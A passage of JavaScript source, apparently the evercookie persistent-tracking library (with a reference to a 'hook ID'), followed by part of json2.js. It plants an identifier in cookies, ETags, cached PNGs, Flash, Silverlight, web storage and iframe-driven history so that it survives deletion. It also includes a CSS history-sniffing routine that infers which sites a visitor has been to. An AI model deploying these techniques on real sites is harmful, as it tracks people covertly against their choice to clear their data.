  1110.                 self._ec.etagData = undefined;
  1111.                 document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  1112.  
  1113.                 $.ajax({
  1114.                         url: 'evercookie_etag.php?name=' + name,
  1115.                         success: function(data) {
  1116.                                 // put our cookie back
  1117.                                 document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  1118.  
  1119.                                 self._ec.etagData = data;
  1120.                         }
  1121.                 });
  1122.         }
  1123. };
  1124.  
  1125. this.evercookie_lso = function(name, value)
  1126. {
  1127.     var div = document.getElementById('swfcontainer');
  1128.         if (!div)
  1129.         {
  1130.                 div = document.createElement("div");
  1131.                 div.setAttribute('id', 'swfcontainer');
  1132.                 document.body.appendChild(div);
  1133.         }
  1134.  
  1135.         var flashvars = {};
  1136.         if (typeof value != 'undefined')
  1137.                 flashvars.everdata = name + '=' + value;
  1138.  
  1139.         var params           = {};
  1140.         params.swliveconnect = "true";
  1141.         var attributes       = {};
  1142.         attributes.id        = "myswf";
  1143.         attributes.name      = "myswf";
  1144.         swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
  1145. };
  1146.  
  1147. this.evercookie_png = function(name, value)
  1148. {
  1149.         if (document.createElement('canvas').getContext)
  1150.         {
  1151.                 if (typeof(value) != "undefined")
  1152.                 {
  1153.                         // make sure we have evercookie session defined first
  1154.                         document.cookie = 'evercookie_png=' + value;
  1155.                        
  1156.                         // evercookie_png.php handles the hard part of generating the image
  1157.                         // based off of the http cookie and returning it cached
  1158.                         var img = new Image();
  1159.                         img.style.visibility = 'hidden';
  1160.                         img.style.position = 'absolute';
  1161.                         img.src = 'evercookie_png.php?name=' + name;
  1162.                 }
  1163.                 else
  1164.                 {
  1165.                         self._ec.pngData = undefined;
  1166.                         var context = document.createElement('canvas');
  1167.                         context.style.visibility = 'hidden';
  1168.                         context.style.position = 'absolute';
  1169.                         context.width = 200;
  1170.                         context.height = 1;
  1171.                         var ctx = context.getContext('2d');
  1172.                        
  1173.                         // interestingly enough, we want to erase our evercookie
  1174.                         // http cookie so the php will force a cached response
  1175.                         var origvalue = this.getFromStr('evercookie_png', document.cookie);
  1176.                         document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  1177.  
  1178.                         var img = new Image();
  1179.                         img.style.visibility = 'hidden';
  1180.                         img.style.position = 'absolute';
  1181.                         img.src = 'evercookie_png.php?name=' + name;
  1182.                        
  1183.                         img.onload = function()
  1184.                         {
  1185.                                 // put our cookie back
  1186.                                 document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  1187.  
  1188.                                 self._ec.pngData = '';
  1189.                                 ctx.drawImage(img,0,0);
  1190.  
  1191.                                 // get CanvasPixelArray from  given coordinates and dimensions
  1192.                                 var imgd = ctx.getImageData(0, 0, 200, 1);
  1193.                                 var pix = imgd.data;
  1194.  
  1195.                                 // loop over each pixel to get the "RGB" values (ignore alpha)
  1196.                                 for (var i = 0, n = pix.length; i < n; i += 4)
  1197.                                 {
  1198.                                         if (pix[i  ] == 0) break;
  1199.                                         self._ec.pngData += String.fromCharCode(pix[i]);
  1200.                                         if (pix[i+1] == 0) break;
  1201.                                         self._ec.pngData += String.fromCharCode(pix[i+1]);
  1202.                                         if (pix[i+2] == 0) break;
  1203.                                         self._ec.pngData += String.fromCharCode(pix[i+2]);
  1204.                                 }
  1205.                         }      
  1206.                 }
  1207.         }
  1208. };
  1209.  
  1210. this.evercookie_local_storage = function(name, value)
  1211. {
  1212.         try
  1213.         {
  1214.                 if (window.localStorage)
  1215.                 {
  1216.                         if (typeof(value) != "undefined")
  1217.                                 localStorage.setItem(name, value);
  1218.                         else
  1219.                                 return localStorage.getItem(name);
  1220.                 }
  1221.         }
  1222.         catch (e) { }
  1223. };
  1224.  
  1225. this.evercookie_database_storage = function(name, value)
  1226. {
  1227.         try
  1228.         {
  1229.                 if (window.openDatabase)
  1230.                 {              
  1231.                         var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
  1232.  
  1233.                         if (typeof(value) != "undefined")
  1234.                                 database.transaction(function(tx)
  1235.                                 {
  1236.                                         tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
  1237.                                                 "id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
  1238.                                                 "name TEXT NOT NULL, " +
  1239.                                                 "value TEXT NOT NULL, " +
  1240.                                                 "UNIQUE (name)" +
  1241.                                         ")", [], function (tx, rs) { }, function (tx, err) { });
  1242.  
  1243.                                         tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
  1244.                                                 function (tx, rs) { }, function (tx, err) { })
  1245.                                 });
  1246.                         else
  1247.                         {
  1248.                                 database.transaction(function(tx)
  1249.                                 {
  1250.                                         tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
  1251.                                         function(tx, result1) {
  1252.                                                 if (result1.rows.length >= 1)
  1253.                                                         self._ec.dbData = result1.rows.item(0)['value'];
  1254.                                                 else
  1255.                                                         self._ec.dbData = '';
  1256.                                         }, function (tx, err) { })
  1257.                                 });
  1258.                         }
  1259.                 }
  1260.         } catch(e) { }
  1261. };
  1262.  
  1263. this.evercookie_session_storage = function(name, value)
  1264. {
  1265.         try
  1266.         {
  1267.                 if (window.sessionStorage)
  1268.                 {
  1269.                         if (typeof(value) != "undefined")
  1270.                                 sessionStorage.setItem(name, value);
  1271.                         else
  1272.                                 return sessionStorage.getItem(name);
  1273.                 }
  1274.         } catch(e) { }
  1275. };
  1276.  
  1277. this.evercookie_global_storage = function(name, value)
  1278. {
  1279.         if (window.globalStorage)
  1280.         {
  1281.                 var host = this.getHost();
  1282.  
  1283.                 try
  1284.                 {
  1285.                         if (typeof(value) != "undefined")
  1286.                                 eval("globalStorage[host]." + name + " = value");
  1287.                         else
  1288.                                 return eval("globalStorage[host]." + name);
  1289.                 } catch(e) { }
  1290.         }
  1291. };
  1292. this.evercookie_silverlight = function(name, value) {
  1293.     /*
  1294.      * Create silverlight embed
  1295.      *
  1296.      * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
  1297.      * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
  1298.     */
  1299.         var source = "evercookie.xap";
  1300.         var minver = "4.0.50401.0";
  1301.        
  1302.         var initParam = "";
  1303.         if(typeof(value) != "undefined")
  1304.             initParam = '<param name="initParams" value="'+name+'='+value+'" />';
  1305.        
  1306.         var html =
  1307.         '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
  1308.             initParam +
  1309.             '<param name="source" value="'+source+'"/>' +
  1310.             '<param name="onLoad" value="onSilverlightLoad"/>' +
  1311.             '<param name="onError" value="onSilverlightError"/>' +
  1312.             '<param name="background" value="Transparent"/>' +
  1313.             '<param name="windowless" value="true"/>' +
  1314.             '<param name="minRuntimeVersion" value="'+minver+'"/>' +
  1315.             '<param name="autoUpgrade" value="true"/>' +
  1316.             '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
  1317.               '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
  1318.             '</a>' +
  1319.         '</object>';
  1320.         document.body.innerHTML+=html;
  1321. };
  1322.  
  1323. // public method for encoding
  1324. this.encode = function (input) {
  1325.         var output = "";
  1326.         var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  1327.         var i = 0;
  1328.  
  1329.         input = this._utf8_encode(input);
  1330.  
  1331.         while (i < input.length) {
  1332.  
  1333.                 chr1 = input.charCodeAt(i++);
  1334.                 chr2 = input.charCodeAt(i++);
  1335.                 chr3 = input.charCodeAt(i++);
  1336.  
  1337.                 enc1 = chr1 >> 2;
  1338.                 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  1339.                 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  1340.                 enc4 = chr3 & 63;
  1341.  
  1342.                 if (isNaN(chr2)) {
  1343.                         enc3 = enc4 = 64;
  1344.                 } else if (isNaN(chr3)) {
  1345.                         enc4 = 64;
  1346.                 }
  1347.  
  1348.                 output = output +
  1349.                 _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
  1350.                 _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
  1351.  
  1352.         }
  1353.  
  1354.         return output;
  1355. };
  1356.  
  1357. // public method for decoding
  1358. this.decode = function (input) {
  1359.         var output = "";
  1360.         var chr1, chr2, chr3;
  1361.         var enc1, enc2, enc3, enc4;
  1362.         var i = 0;
  1363.  
  1364.         input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  1365.  
  1366.         while (i < input.length) {
  1367.                 enc1 = _baseKeyStr.indexOf(input.charAt(i++));
  1368.                 enc2 = _baseKeyStr.indexOf(input.charAt(i++));
  1369.                 enc3 = _baseKeyStr.indexOf(input.charAt(i++));
  1370.                 enc4 = _baseKeyStr.indexOf(input.charAt(i++));
  1371.  
  1372.                 chr1 = (enc1 << 2) | (enc2 >> 4);
  1373.                 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  1374.                 chr3 = ((enc3 & 3) << 6) | enc4;
  1375.  
  1376.                 output = output + String.fromCharCode(chr1);
  1377.  
  1378.                 if (enc3 != 64) {
  1379.                         output = output + String.fromCharCode(chr2);
  1380.                 }
  1381.                 if (enc4 != 64) {
  1382.                         output = output + String.fromCharCode(chr3);
  1383.                 }
  1384.  
  1385.         }
  1386.  
  1387.         output = this._utf8_decode(output);
  1388.  
  1389.         return output;
  1390.  
  1391. };
  1392.  
  1393. // private method for UTF-8 encoding
  1394. this._utf8_encode = function (string) {
  1395.         string = string.replace(/\r\n/g,"\n");
  1396.         var utftext = "";
  1397.  
  1398.         for (var n = 0; n < string.length; n++) {
  1399.  
  1400.                 var c = string.charCodeAt(n);
  1401.  
  1402.                 if (c < 128) {
  1403.                         utftext += String.fromCharCode(c);
  1404.                 }
  1405.                 else if((c > 127) && (c < 2048)) {
  1406.                         utftext += String.fromCharCode((c >> 6) | 192);
  1407.                         utftext += String.fromCharCode((c & 63) | 128);
  1408.                 }
  1409.                 else {
  1410.                         utftext += String.fromCharCode((c >> 12) | 224);
  1411.                         utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  1412.                         utftext += String.fromCharCode((c & 63) | 128);
  1413.                 }
  1414.  
  1415.         }
  1416.  
  1417.         return utftext;
  1418. };
  1419.  
  1420. // private method for UTF-8 decoding
  1421. this._utf8_decode = function (utftext) {
  1422.         var string = "";
  1423.         var i = 0;
  1424.         var c = c1 = c2 = 0;
  1425.  
  1426.         while ( i < utftext.length ) {
  1427.  
  1428.                 c = utftext.charCodeAt(i);
  1429.  
  1430.                 if (c < 128) {
  1431.                         string += String.fromCharCode(c);
  1432.                         i++;
  1433.                 }
  1434.                 else if((c > 191) && (c < 224)) {
  1435.                         c2 = utftext.charCodeAt(i+1);
  1436.                         string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  1437.                         i += 2;
  1438.                 }
  1439.                 else {
  1440.                         c2 = utftext.charCodeAt(i+1);
  1441.                         c3 = utftext.charCodeAt(i+2);
  1442.                         string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  1443.                         i += 3;
  1444.                 }
  1445.  
  1446.         }
  1447.  
  1448.         return string;
  1449. };
  1450.  
  1451. // this is crazy but it's 4am in dublin and i thought this would be hilarious
  1452. // blame the guinness
  1453. this.evercookie_history = function(name, value)
  1454. {
  1455.         // - is special
  1456.         var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
  1457.         var baseElems = baseStr.split("");
  1458.        
  1459.         // sorry google.
  1460.         var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
  1461.  
  1462.         if (typeof(value) != "undefined")
  1463.         {
  1464.                 // don't reset this if we already have it set once
  1465.                 // too much data and you can't clear previous values
  1466.                 if (this.hasVisited(url))
  1467.                         return;
  1468.  
  1469.                 this.createIframe(url, 'if');
  1470.                 url = url + '/';
  1471.  
  1472.                 var base = this.encode(value).split("");
  1473.                 for (var i = 0; i < base.length; i++)
  1474.                 {
  1475.                         url = url + base[i];
  1476.                         this.createIframe(url, 'if' + i);
  1477.                 }
  1478.  
  1479.                 // - signifies the end of our data
  1480.                 url = url + '-';
  1481.                 this.createIframe(url, 'if_');
  1482.         }
  1483.         else
  1484.         {
  1485.                 // omg you got csspwn3d
  1486.                 if (this.hasVisited(url))
  1487.                 {
  1488.                         url = url + '/';
  1489.  
  1490.                         var letter = "";
  1491.                         var val = "";
  1492.                         var found = 1;
  1493.                         while (letter != '-' && found == 1)
  1494.                         {
  1495.                                 found = 0;
  1496.                                 for (var i = 0; i < baseElems.length; i++)
  1497.                                 {
  1498.                                         if (this.hasVisited(url + baseElems[i]))
  1499.                                         {
  1500.                                                 letter = baseElems[i];
  1501.                                                 if (letter != '-')
  1502.                                                         val = val + letter;
  1503.                                                 url = url + letter;
  1504.                                                 found = 1;
  1505.                                                 break;
  1506.                                         }
  1507.                                 }
  1508.                         }
  1509.                        
  1510.                         // lolz
  1511.                         return this.decode(val);
  1512.                 }
  1513.         }
  1514. };
  1515.  
  1516. this.createElem = function(type, name, append)
  1517. {
  1518.         var el;
  1519.         if (typeof name != 'undefined' && document.getElementById(name))
  1520.                 el = document.getElementById(name);
  1521.         else
  1522.                 el = document.createElement(type);
  1523.         el.style.visibility = 'hidden';
  1524.         el.style.position = 'absolute';
  1525.  
  1526.         if (name)
  1527.                 el.setAttribute('id', name);
  1528.  
  1529.         if (append)
  1530.                 document.body.appendChild(el);
  1531.  
  1532.         return el;
  1533. };
  1534.  
  1535. this.createIframe = function(url, name)
  1536. {
  1537.         var el = this.createElem('iframe', name, 1);
  1538.         el.setAttribute('src', url);
  1539.         return el;
  1540. };
  1541.  
  1542. // wait for our swfobject to appear (swfobject.js to load)
  1543. this.waitForSwf = function(i)
  1544. {
  1545.         if (typeof i == 'undefined')
  1546.                 i = 0;
  1547.         else
  1548.                 i++;
  1549.  
  1550.         // wait for ~2 seconds for swfobject to appear
  1551.         if (i < _ec_tests && typeof swfobject == 'undefined')
  1552.                 setTimeout(function() { waitForSwf(i) }, 300);
  1553. };
  1554.  
  1555. this.evercookie_cookie = function(name, value)
  1556. {
  1557.     try{
  1558.         if (typeof(value) != "undefined")
  1559.         {
  1560.             // expire the cookie first
  1561.             document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  1562.             document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  1563.         }
  1564.         else
  1565.             return this.getFromStr(name, document.cookie);
  1566.     }catch(e){
  1567.         // the hooked origin is using HttpOnly, so we must set the hook ID in a different way.
  1568.         // evercookie_userdata and evercookie_window will be used in this case.
  1569.     }
  1570. };
  1571.  
  1572. // get value from param-like string (eg, "x=y&name=VALUE")
  1573. this.getFromStr = function(name, text)
  1574. {
  1575.         if (typeof text != 'string')
  1576.                 return;
  1577.                
  1578.         var nameEQ = name + "=";
  1579.         var ca = text.split(/[;&]/);
  1580.         for (var i = 0; i < ca.length; i++)
  1581.         {
  1582.                 var c = ca[i];
  1583.                 while (c.charAt(0) == ' ')
  1584.                         c = c.substring(1, c.length);
  1585.                 if (c.indexOf(nameEQ) == 0)
  1586.                         return c.substring(nameEQ.length, c.length);
  1587.         }
  1588. };
  1589.  
  1590. this.getHost = function()
  1591. {
  1592.         var domain = document.location.host;
  1593.         if (domain.indexOf('www.') == 0)
  1594.                 domain = domain.replace('www.', '');
  1595.         return domain;
  1596. };
  1597.  
  1598. this.toHex = function(str)
  1599. {
  1600.     var r = "";
  1601.     var e = str.length;
  1602.     var c = 0;
  1603.     var h;
  1604.     while (c < e)
  1605.     {
  1606.         h = str.charCodeAt(c++).toString(16);
  1607.         while (h.length < 2)
  1608.                 h = "0" + h;
  1609.         r += h;
  1610.     }
  1611.     return r;
  1612. };
  1613.  
  1614. this.fromHex = function(str)
  1615. {
  1616.     var r = "";
  1617.     var e = str.length;
  1618.     var s;
  1619.     while (e >= 0)
  1620.     {
  1621.         s = e - 2;
  1622.         r = String.fromCharCode("0x" + str.substring(s, e)) + r;
  1623.         e = s;
  1624.     }
  1625.     return r;
  1626. };
  1627.  
  1628. /*
  1629.  * css history knocker (determine what sites your visitors have been to)
  1630.  *
  1631.  * originally by Jeremiah Grossman
  1632.  * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
  1633.  *
  1634.  * ported to additional browsers by Samy Kamkar
  1635.  *
  1636.  * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
  1637.  *
  1638.  * - code@samy.pl
  1639.  */
  1640.  
  1641.  
  1642. this.hasVisited = function(url)
  1643. {
  1644.         if (this.no_color == -1)
  1645.         {
  1646.                 var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
  1647.                 if (no_style == -1)
  1648.                         this.no_color =
  1649.                                 this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
  1650.         }
  1651.        
  1652.         // did we give full url?
  1653.         if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
  1654.                 return this._testURL(url, this.no_color);
  1655.                
  1656.         // if not, just test a few diff types   if (exact)
  1657.         return  this._testURL("http://" + url, this.no_color) ||
  1658.                 this._testURL("https://" + url, this.no_color) ||
  1659.                 this._testURL("http://www." + url, this.no_color) ||
  1660.                 this._testURL("https://www." + url, this.no_color);
  1661. };
  1662.  
  1663. /* create our anchor tag */
  1664. var _link = this.createElem('a', '_ec_rgb_link');
  1665.  
  1666. /* for monitoring */
  1667. var created_style;
  1668.  
  1669. /* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
  1670. var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
  1671.  
  1672. /* Methods for IE6, IE7, FF, Opera, and Safari */
  1673. try {
  1674.         created_style = 1;
  1675.         var style = document.createElement('style');
  1676.         if (style.styleSheet)
  1677.                 style.styleSheet.innerHTML = _cssText;
  1678.         else if (style.innerHTML)
  1679.                 style.innerHTML = _cssText;
  1680.         else
  1681.         {
  1682.                 var cssT = document.createTextNode(_cssText);
  1683.                 style.appendChild(cssT);
  1684.         }
  1685. } catch (e) {
  1686.         created_style = 0;
  1687. }
  1688.  
  1689. /* if test_color, return -1 if we can't set a style */
  1690. this._getRGB = function (u, test_color) {
  1691.     if (test_color && created_style == 0)
  1692.         return -1;
  1693.  
  1694.     /* create the new anchor tag with the appropriate URL information */
  1695.     _link.href = u;
  1696.     _link.innerHTML = u;
  1697.     // not sure why, but the next two appendChilds always have to happen vs just once
  1698.     document.body.appendChild(style);
  1699.     document.body.appendChild(_link);
  1700.  
  1701.     /* add the link to the DOM and save the visible computed color */
  1702.     var color;
  1703.     if (document.defaultView)
  1704.         color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
  1705.     else
  1706.         color = _link.currentStyle['color'];
  1707.  
  1708.     return color;
  1709. };
  1710.  
  1711. this._testURL = function(url, no_color){
  1712.         var color = this._getRGB(url);
  1713.  
  1714.         /* check to see if the link has been visited if the computed color is red */
  1715.         if (color == "rgb(255, 0, 0)" || color == "#ff0000")
  1716.                 return 1;
  1717.  
  1718.         /* if our style trick didn't work, just compare default style colors */
  1719.         else if (no_color && color != no_color)
  1720.                 return 1;
  1721.  
  1722.         /* not found */
  1723.         return 0;
  1724. }
  1725.  
  1726. };
  1727.  
  1728. return _class;
  1729. })();
  1730.  
  1731.  
  1732. /*
  1733.  * Again, ugly workaround....same problem as flash.
  1734. */
  1735. var _global_isolated;
  1736. function onSilverlightLoad(sender, args) {
  1737.     var control = sender.getHost();
  1738.     _global_isolated = control.Content.App.getIsolatedStorage();
  1739. }
  1740. /*
  1741. function onSilverlightError(sender, args) {
  1742.     _global_isolated = "";
  1743.    
  1744. }*/
  1745. function onSilverlightError(sender, args) {
  1746.     _global_isolated = "";
  1747. }
  1748.  
  1749.  
  1750. //  json2.js
  1751. //  2016-10-28
  1752. //  Public Domain.
  1753. //  NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
  1754. //  See http://www.JSON.org/js.html
  1755. //  This code should be minified before deployment.
  1756. //  See http://javascript.crockford.com/jsmin.html
  1757.  
  1758. //  USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO
  1759. //  NOT CONTROL.
  1760.  
  1761. //  This file creates a global JSON object containing two methods: stringify
  1762. //  and parse. This file provides the ES5 JSON capability to ES3 systems.
  1763. //  If a project might run on IE8 or earlier, then this file should be included.
  1764. //  This file does nothing on ES5 systems.
  1765.  
  1766. // Create a JSON object only if one does not already exist. We create the
  1767. // methods in a closure to avoid creating global variables.
  1768.  
  1769. if (typeof JSON !== "object") {
  1770.     JSON = {};
  1771. }
  1772.  
  1773. (function () {
  1774.     "use strict";
  1775.  
  1776.     var rx_one = /^[\],:{}\s]*$/;
  1777.     var rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g;
  1778.     var rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g;
  1779.     var rx_four = /(?:^|:|,)(?:\s*\[)+/g;
  1780.     var rx_escapable = /[\\"\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
  1781.     var rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
  1782.  
  1783.     function f(n) {
  1784.         // Format integers to have at least two digits.
  1785.         return n < 10
  1786.             ? "0" + n
  1787.             : n;
  1788.     }
  1789.  
  1790.     function this_value() {
  1791.         return this.valueOf();
  1792.     }
  1793.  
  1794.     if (typeof Date.prototype.toJSON !== "function") {
  1795.  
  1796.         Date.prototype.toJSON = function () {
  1797.  
  1798.             return isFinite(this.valueOf())
  1799.                 ? this.getUTCFullYear() + "-" +
  1800.                         f(this.getUTCMonth() + 1) + "-" +
  1801.                         f(this.getUTCDate()) + "T" +
  1802.                         f(this.getUTCHours()) + ":" +
  1803.                         f(this.getUTCMinutes()) + ":" +
  1804.                         f(this.getUTCSeconds()) + "Z"
  1805.                 : null;
  1806.         };
  1807.  
  1808.         Boolean.prototype.toJSON = this_value;
  1809.         Number.prototype.toJSON = this_value;
  1810.         String.prototype.toJSON = this_value;
  1811.     }
  1812.  
  1813.     var gap;
  1814.     var indent;
  1815.     var meta;
  1816.     var rep;
  1817.  
  1818.  
  1819.     function quote(string) {
  1820.  
  1821. // If the string contains no control characters, no quote characters, and no
  1822. // backslash characters, then we can safely slap some quotes around it.
  1823. // Otherwise we must also replace the offending characters with safe escape
  1824. // sequences.
  1825.  
  1826.         rx_escapable.lastIndex = 0;
  1827.         return rx_escapable.test(string)
  1828.             ? "\"" + string.replace(rx_escapable, function (a) {
  1829.                 var c = meta[a];
  1830.                 return typeof c === "string"
  1831.                     ? c
  1832.                     : "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4);
  1833.             }) + "\""
  1834.             : "\"" + string + "\"";
  1835.     }
  1836.  
  1837.  
  1838.     function str(key, holder) {
  1839.  
  1840. // Produce a string from holder[key].
  1841.  
  1842.         var i;          // The loop counter.
  1843.         var k;          // The member key.
  1844.         var v;          // The member value.
  1845.         var length;
  1846.         var mind = gap;
  1847.         var partial;
  1848.         var value = holder[key];
  1849.  
  1850. // If the value has a toJSON method, call it to obtain a replacement value.
  1851.  
  1852.         if (value && typeof value === "object" &&
  1853.                 typeof value.toJSON === "function") {
  1854.             value = value.toJSON(key);
  1855.         }
  1856.  
  1857. // If we were called with a replacer function, then call the replacer to
  1858. // obtain a replacement value.
  1859.  
  1860.         if (typeof rep === "function") {
  1861.             value = rep.call(holder, key, value);
  1862.         }
  1863.  
  1864. // What happens next depends on the value's type.
  1865.  
  1866.         switch (typeof value) {
  1867.         case "string":
  1868.             return quote(value);
  1869.  
  1870.         case "number":
  1871.  
  1872. // JSON numbers must be finite. Encode non-finite numbers as null.
  1873.  
  1874.             return isFinite(value)
  1875.                 ? String(value)
  1876.                 : "null";
  1877.  
  1878.         case "boolean":
  1879.         case "null":
  1880.  
  1881. // If the value is a boolean or null, convert it to a string. Note:
  1882. // typeof null does not produce "null". The case is included here in
  1883. // the remote chance that this gets fixed someday.
  1884.  
  1885.             return String(value);
  1886.  
  1887. // If the type is "object", we might be dealing with an object or an array or
  1888. // null.
  1889.  
  1890.         case "object":
  1891.  
  1892. // Due to a specification blunder in ECMAScript, typeof null is "object",
  1893. // so watch out for that case.
  1894.  
  1895.             if (!value) {
  1896.                 return "null";
  1897.             }
  1898.  
  1899. // Make an array to hold the partial results of stringifying this object value.
  1900.  
  1901.             gap += indent;
  1902.             partial = [];
  1903.  
  1904. // Is the value an array?
  1905.  
  1906.             if (Object.prototype.toString.apply(value) === "[object Array]") {
  1907.  
  1908. // The value is an array. Stringify every element. Use null as a placeholder
  1909. // for non-JSON values.
  1910.  
  1911.                 length = value.length;
  1912.                 for (i = 0; i < length; i += 1) {
  1913.                     partial[i] = str(i, value) || "null";
  1914.                 }
  1915.  
  1916. // Join all of the elements together, separated with commas, and wrap them in
  1917. // brackets.
  1918.  
  1919.                 v = partial.length === 0
  1920.                     ? "[]"
  1921.                     : gap
  1922.                         ? "[\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "]"
  1923.                         : "[" + partial.join(",") + "]";
  1924.                 gap = mind;
  1925.                 return v;
  1926.             }
  1927.  
  1928. // If the replacer is an array, use it to select the members to be stringified.
  1929.  
  1930.             if (rep && typeof rep === "object") {
  1931.                 length = rep.length;
  1932.                 for (i = 0; i < length; i += 1) {
  1933.                     if (typeof rep[i] === "string") {
  1934.                         k = rep[i];
  1935.                         v = str(k, value);
  1936.                         if (v) {
  1937.                             partial.push(quote(k) + (
  1938.                                 gap
  1939.                                     ? ": "
  1940.                                     : ":"
  1941.                             ) + v);
  1942.                         }
  1943.                     }
  1944.                 }
  1945.             } else {
  1946.  
  1947. // Otherwise, iterate through all of the keys in the object.
  1948.  
  1949.                 for (k in value) {
  1950.                     if (Object.prototype.hasOwnProperty.call(value, k)) {
  1951.                         v = str(k, value);
  1952.                         if (v) {
  1953.                             partial.push(quote(k) + (
  1954.                                 gap
  1955.                                     ? ": "
  1956.                                     : ":"
  1957.                             ) + v);
  1958.                         }
  1959.                     }
  1960.                 }
  1961.             }
  1962.  
  1963. // Join all of the member texts together, separated with commas,
  1964. // and wrap them in braces.
  1965.  
  1966.             v = partial.length === 0
  1967.                 ? "{}"
  1968.                 : gap
  1969.                     ? "{\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "}"
  1970.                     : "{" + partial.join(",") + "}";
  1971.             gap = mind;
  1972.             return v;
  1973.         }
  1974.     }
  1975.  
  1976. // If the JSON object does not yet have a stringify method, give it one.
  1977.  
  1978.     if (typeof JSON.stringify !== "function") {
  1979.         meta = {    // table of character substitutions
  1980.             "\b": "\\b",
  1981.             "\t": "\\t",
  1982.             "\n": "\\n",
  1983.             "\f": "\\f",
  1984.             "\r": "\\r",
  1985.             "\"": "\\\"",
  1986.             "\\": "\\\\"
  1987.         };
  1988.         JSON.stringify = function (value, replacer, space) {
  1989.  
  1990. // The stringify method takes a value and an optional replacer, and an optional
  1991. // space parameter, and returns a JSON text. The replacer can be a function
  1992. // that can replace values, or an array of strings that will select the keys.
  1993. // A default replacer method can be provided. Use of the space parameter can
  1994. // produce text that is more easily readable.
  1995.  
  1996.             var i;
  1997.             gap = "";
  1998.             indent = "";
  1999.  
  2000. // If the space parameter is a number, make an indent string containing that
  2001. // many spaces.
  2002.  
  2003.             if (typeof space === "number") {
  2004.                 for (i = 0; i < space; i += 1) {
  2005.                     indent += " ";
  2006.                 }
  2007.  
  2008. // If the space parameter is a string, it will be used as the indent string.
  2009.  
  2010.             } else if (typeof space === "string") {
  2011.                 indent = space;
  2012.             }
  2013.  
  2014. // If there is a replacer, it must be a function or an array.
  2015. // Otherwise, throw an error.
  2016.  
  2017.             rep = replacer;
  2018.             if (replacer && typeof replacer !== "function" &&
  2019.                     (typeof replacer !== "object" ||
  2020.                     typeof replacer.length !== "number")) {
  2021.                 throw new Error("JSON.stringify");
  2022.             }
  2023.  
  2024. // Make a fake root object containing our value under the key of "".
  2025. // Return the result of stringifying the value.
  2026.  
  2027.             return str("", {"": value});
  2028.         };
  2029.     }
  2030.  
  2031.  
  2032. // If the JSON object does not yet have a parse method, give it one.
  2033.  
  2034.     if (typeof JSON.parse !== "function") {
  2035.         JSON.parse = function (text, reviver) {
  2036.  
  2037. // The parse method takes a text and an optional reviver function, and returns
  2038. // a JavaScript value if the text is a valid JSON text.
  2039.  
  2040.             var j;
  2041.  
  2042.             function walk(holder, key) {
  2043.  
  2044. // The walk method is used to recursively walk the resulting structure so
  2045. // that modifications can be made.
  2046.  
  2047.                 var k;
  2048.                 var v;
  2049.                 var value = holder[key];
  2050.                 if (value && typeof value === "object") {
  2051.                     for (k in value) {
  2052.                         if (Object.prototype.hasOwnProperty.call(value, k)) {
  2053.                             v = walk(value, k);
  2054.                             if (v !== undefined) {
  2055.                                 value[k] = v;
  2056.                             } else {
  2057.                                 delete value[k];
